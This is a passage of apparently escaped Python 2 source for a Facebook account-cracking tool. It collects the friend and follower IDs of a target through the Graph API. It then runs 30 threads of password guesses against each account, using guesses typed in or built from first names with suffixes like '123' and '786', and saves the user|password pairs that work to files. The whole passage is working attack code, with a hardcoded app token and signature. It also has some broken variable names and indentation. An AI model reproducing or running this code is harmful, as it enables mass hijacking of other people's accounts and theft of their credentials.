\")\n\t\ttime.sleep(0.05)\n\t\tpass2=raw_input(\"\\033[1;96m[2]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass3=raw_input(\"\\033[1;96m[3]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tr = requests.get(\"https://graph.facebook.com/me/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor s in z[\"data\"]:\n\t\t\tid.append(s[\"id\"])\n\telif peak ==\"2\":\n\t\tos.system(\"clear\")\n\t\tprint logo\n\t\tidt = raw_input(\"\\033[1;94m[ok] Enter ID/Username :\\033[1;92m \")\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttime.sleep(0.05)\n\t\tprint (\"\\033[1;93m For Example :\\033[1;92m Sayang,Kontol,Sayang123\") \n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tpass1=raw_input(\"\\033[1;96m[1]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass2=raw_input(\"\\033[1;96m[2]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tpass3=raw_input(\"\\033[1;96m[3]\\033[1;93m Input Password :\\033[1;94m \")\n\t\ttime.sleep(0.05)\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\ttry:\n\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\n\t\t\top = json.loads(jok.text)\n\t\t\tprint(\"\\033[1;96m[>>] Account Name: \"+op[\"name\"])\n\t\t\ttime.sleep(0.5)\n\t\texcept KeyError:\n\t\t\tprint(\"\\033[1;91m[!] ID Not Found!\")\n\t\t\traw_input(\"\\n\\033[1;92mPress Enter To Back \")\n\t\t\tchoice1()\n\t\tprint\"\\033[1;35;40m[>>] Getting IDs...\"\n\t\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor i in z['data']:\n\t\t\tid.append(i['id'])\n\telif peak ==\"0\":\n\t\tmenu()\n\telse:\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_zuper()\n\n\t\n\tprint \"\\033[1;36;96m[>>] Total IDs : \\033[1;92m\"+str(len(id))\n\tjalan('\\033[1;34;96m[>>] Please Wait ')\n\ttitik = ['. ','.. ','... ']\n\tfor o in titik:\n\t\t print(\"\\r\\033[1;93mCloning\\033[1;93m\"+o),;sys.stdout.flush();time.sleep(1)\n\tprint \"\\n\\033[1;97m >-------\\x1b[1;91m To Stop Process Press CTRL+Z \\033[1;97m------>\"\n\tprint \"\\033[1;97m >------------------------------------------------>\"\n\tjalan(' \\033[1;93m Plz Wait Cloned Accounts Will Appear Here')\n\tjalan(' \\033[1;93m Crack Indonesia ')\n print \"\\033[1;97m >------------------------------------------------>\"\n\t\n\tdef main(arg):\n\t\tglobal cpb,oks\n\t\tuser = arg\n\t\ttry:\n\t\t os.mkdir('save')\n\t\texcept OSError:\n\t\t pass\n\t\ttry:\n\t\t\ta = requests.get(\"https://graph.facebook.com/\"+user+\"/?access_token=\"+toket)\n\t\t\tb = json.loads(a.text)\n\t\t\t\n\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass1 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\tq = json.load(data)\n\t\t\tif \"access_token\" in q:\n\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\toks.append(user+pass1)\n\t\t\telse:\n\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\tcrt.write(user+\"|\"+pass1+\"\\n\")\n\t\t\t\t\tcrt.close()\n\t\t\t\t\tcheckpoint.append(user+pass1)\n\t\t\t\telse:\n\t\t\t\t\t\n\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass2 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\tq = json.load(data)\n\t\t\t\t\tif \"access_token\" in q:\n\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\toks.append(user+pass2)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\t\t\tcrt.write(user+\"|\"+pass2+\"\\n\")\n\t\t\t\t\t\t\tcrt.close()\n\t\t\t\t\t\t\tcheckpoint.append(user+pass2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass3 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\tif \"access_token\" in q:\n\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\toks.append(user+pass3)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\t\t\t\t\tcrt.write(user+\"|\"+pass3+\"\\n\")\n\t\t\t\t\t\t\t\t\tcrt.close()\n\t\t\t\t\t\t\t\t\tcheckpoint.append(user+pass3)\n\t\t\t\t\t\t\t\t\t\t\t \n\t\texcept:\n\t\t\tpass\n\t\t\n\tp = ThreadPool(30)\n\tp.map(main, id)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint '\\033[1;96m[\\033[1;97mok\\033[1;96m] \\033[1;92mProcess Has Been Completed \\033[1;97m....'\n\tprint\"\\033[1;96m[+] \\033[1;92mTotal OK/\\x1b[1;93mCP \\033[1;91m: \\033[1;92m\"+str(len(oks))+\"\\033[1;97m/\\033[1;93m\"+str(len(cekpoint))\n\tprint(\"\\033[1;96m[+] \\033[1;92mCP File Has Been Saved \\033[1;91m: \\033[1;97mout/Techabm.txt\")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\traw_input(\"\\n\\033[1;96m[\\033[1;97mBack\\033[1;96m]\")\n\tmenu() \n\t\ndef crack_follow():\n\ttoket=open('login.txt','r').read()\n\tos.system('clear')\n\tprint logo\n\tprint 50*\"\\033[1;97m-\"\n\tidt = raw_input(\"\\033[1;97m[\\033[1;95m\\033[1;97m] \\033[1;97mID Publik/Friends \\033[1;91m:\\033[1;92m \")\n\tprint 50*\"\\033[1;97m-\"\n\ttime.sleep(0.05)\n\tprint (\"\\033[1;93m For Example :\\033[1;92m 786786,Bangladesh,Bangal123\") \n\ttime.sleep(0.05)\t\n\tprint 50*\"\\033[1;97m-\"\t\n\tpass1=raw_input(\"\\033[1;96m[1]\\033[1;93mInput Password :\\033[1;94m \")\t\n\ttime.sleep(0.05)\n\tpass2=raw_input(\"\\033[1;96m[2]\\033[1;93mInput Password :\\033[1;94m \")\t\n\ttime.sleep(0.05)\t\t\n\tpass3=raw_input(\"\\033[1;96m[3]\\033[1;93m Input Password :\\033[1;94m \")\t\n\ttime.sleep(0.05)\t\n\tprint 50*\"\\033[1;97m-\"\t\t\t\n\ttry:\n\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\n\t\top = json.loads(jok.text)\n\t\tprint\"\\033[1;97m[\\033[1;95m>>\\033[1;97m] \\033[1;97mName \\033[1;91m:\\033[1;92m \"+op[\"name\"]\n\texcept KeyError:\n\t\tprint\"\\033[1;97m[\\033[1;91m!\\033[1;97m] ID public/friend does not exist !\"\n\t\traw_input(\"\\n\\033[1;97mBack To Menu\")\n\t\tmenu()\n\texcept requests.exceptions.ConnectionError:\n\t\tprint\"\\033[1;97m[\\033[1;91m!\\033[1;97m] No connection !\"\n\t\tkeluar()\n\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/subscribers?limit=999999&access_token=\"+toket)\n\tz = json.loads(r.text)\n\tfor i in z['data']:\n\t\tid.append(i['id'])\n\t\t\n\tprint \"\\033[1;93m[\\033[1;92m+\\033[1;97m] Total Followers \\033[1;91m: \\033[1;97m\"+str(len(id))\n\tprint(\"\\033[1;94m[\\033[1;92mok\\033[1;97m] Cracking Process Has Been Started ...\")\n\tprint 50*\"\\033[1;97m-\"\n\t\n\tdef main(arg):\n\t\tglobal cpb,oks\n\t\tuser = arg\n\t\ttry:\n\t\t os.mkdir('save')\n\t\texcept OSError:\n\t\t pass\n\t\ttry:\n\t\t\ta = requests.get(\"https://graph.facebook.com/\"+user+\"/?access_token=\"+toket)\n\t\t\tb = json.loads(a.text)\n\t\t\t\n\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass1 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\tq = json.load(data)\n\t\t\tif \"access_token\" in q:\n\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\toks.append(user+pass1)\n\t\t\telse:\n\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\tcrt.write(user+\"|\"+pass1+\"\\n\")\n\t\t\t\t\tcrt.close()\n\t\t\t\t\tcheckpoint.append(user+pass1)\n\t\t\t\telse:\n\t\t\t\t\t\n\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass2 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\tq = json.load(data)\n\t\t\t\t\tif \"access_token\" in q:\n\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\toks.append(user+pass2)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\t\t\tcrt.write(user+\"|\"+pass2+\"\\n\")\n\t\t\t\t\t\t\tcrt.close()\n\t\t\t\t\t\t\tcheckpoint.append(user+pass2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\" + user + \"&locale=en_US&password=\" + pass3 + \"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\tif \"access_token\" in q:\n\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\toks.append(user+pass3)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif \"www.facebook.com\" in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\tcrt = open(\"save/checkpoint.txt\", \"a\")\n\t\t\t\t\t\t\t\t\tcrt.write(user+\"|\"+pass3+\"\\n\")\n\t\t\t\t\t\t\t\t\tcrt.close()\n\t\t\t\t\t\t\t\t\tcheckpoint.append(user+pass3)\n\t\t\t\t\t\t\t\t\t\t\t \n\t\texcept:\n\t\t\tpass\n\t\t\n\tp = ThreadPool(30)\n\tp.map(main, id)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint '\\033[1;96m[\\033[1;97mok\\033[1;96m] \\033[1;92mProcess Has Been Completed \\033[1;97m....'\n\tprint\"\\033[1;96m[+] \\033[1;92mTotal OK/\\x1b[1;93mCP \\033[1;91m: \\033[1;92m\"+str(len(oks))+\"\\033[1;97m/\\033[1;93m\"+str(len(cekpoint))\n\tprint(\"\\033[1;96m[+] \\033[1;92mCP File Has Been Saved \\033[1;91m: \\033[1;97mout/Techabm.txt\")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\traw_input(\"\\n\\033[1;96m[\\033[1;97mBack\\033[1;96m]\")\n\tmenu() \n\t\ndef fuper():\n\tglobal toket\n\tos.system('clear')\n\ttry:\n\t\ttoket=open('login.txt','r').read()\n\texcept IOError:\n\t\tprint\"\\x1b[1;91mToken invalid\"\n\t\tos.system('rm -rf login.txt')\n\t\ttime.sleep(1)\n\t\tlogin()\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tjalan( \"\\x1b[1;32;92m[1]\\033[1;33;98m>\\033[1;93mCrack From Friendlist ID \") \n\tjalan( \"\\x1b[1;32;92m[2]\\033[1;33;98m>\\033[1;93mCrack From Any Public ID\") \n\tjalan( \"\\x1b[1;32;36m[0]\\033[1;33;96m>\\033[1;91mBack\") \n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tpilih_fuper()\n\ndef pilih_fuper():\n\tpeak = raw_input(\"\\n\\033[1;31;40m>>> \\033[1;97m\")\n\tif peak ==\"\":\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_fuper()\n\telif peak ==\"1\":\n\t\tos.system('clear')\n\t\tprint logo\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tjalan('\\033[1;96m[+] \\033[1;93mGetting ID \\033[1;97m...')\n\t\tr = requests.get(\"https://graph.facebook.com/me/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor s in z['data']:\n\t\t\tid.append(s['id'])\n\telif peak ==\"2\":\n\t\tos.system('clear')\n\t\tprint logo\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tidt = raw_input(\"\\033[1;96m[ok]\\033[1;93m Enter ID/USERNAME\\033[1;91m : \")\n\t\ttry:\n\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\n\t\t\top = json.loads(jok.text)\n\t\t\tprint\"\\033[1;31;37m[ ok] Name : \"+op[\"name\"]\n\t\texcept KeyError:\n\t\t\tprint\"\\x1b[1;37m[ ok] ID Not Found!\"\n\t\t\traw_input(\"\\n\\033[1;96m[\\033[1;94mBack\\033[1;96m]\")\n\t\t\tfuper()\n\t\tprint\"\\033[1;35;37m[ ok] Getting ID\"\n\t\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor i in z['data']:\n\t\t\tid.append(i['id'])\n\telif peak ==\"0\":\n\t\tmenu()\n\telse:\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_fuper()\n\n\t\n\tprint \"\\033[1;36;96m[ ok] Total IDs : \\033[1;92m\"+str(len(id))\n\tjalan('\\033[1;34;96m[ ok] Please Wait ')\n\ttitik = ['. ','.. ','... ']\n\tfor o in titik:\n\t\t print(\"\\r\\033[1;93mCloning\\033[1;93m\"+o),;sys.stdout.flush();time.sleep(1)\n\tprint \"\\n\\033[1;97m >-------\\x1b[1;91m To Stop Process Press CTRL+Z \\033[1;97m------>\"\n\tprint \"\\033[1;97m >------------------------------------------------>\"\n\tjalan(' \\033[1;93m Plz Wait Cloned Accounts Will Appear Here')\n\tjalan(' \\033[1;93m Crack Pakistan ')\n print \"\\033[1;97m >------------------------------------------------>\"\n\t\n\tdef main(arg):\n\t\tglobal oks\n\t\tuser = arg\n\t\ttry:\n\t\t\tos.mkdir('out')\n\t\texcept OSError:\n\t\t\tpass \n\t\ttry:\n\t\t\ta = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)\n\t\t\tb = json.loads(a.text)\n\t\t\tpass1 = b['first_name'] + '786'\n\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass1)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\tq = json.load(data)\n\t\t\tif 'access_token' in q:\n\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\toks.append(user+pass1)\n\t\t\telse:\n\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\tcek.write(user+\"|\"+pass1+\"\\n\")\n\t\t\t\t\tcek.close()\n\t\t\t\t\tcekpoint.append(user+pass1)\n\t\t\t\telse:\n\t\t\t\t\tpass2 = b['first_name'] + '123'\n\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass2)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\tq = json.load(data)\n\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['_name']\n\t\t\t\t\t\toks.append(user+pass2)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\tcek.write(user+\"|\"+pass2+\"\\n\")\n\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\tcekpoint.append(user+pass2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tpass3 = b['first_name'] + '12345'\n\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass3)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\toks.append(user+pass3)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass3+\"\\n\")\n\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass4)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tpass4 = b['first_name'] + '1234'\n\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass4)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass4 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\toks.append(user+pass4)\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass4 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass4+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass4)\n\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tpass5 = b['first_name'] + '12' \n\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass5)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass5 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass5)\n\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass5 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass5+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass5)\n\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\tpass6 = 'Pakistan'\n\t\t\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass6)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass6 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass6)\n\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass6 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass6+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass6)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tpass7 = '786786'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass7)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass7 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass7)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass7 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass7+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass7)\n\n\t\t\t\t\t\t\t\t\t\t\t 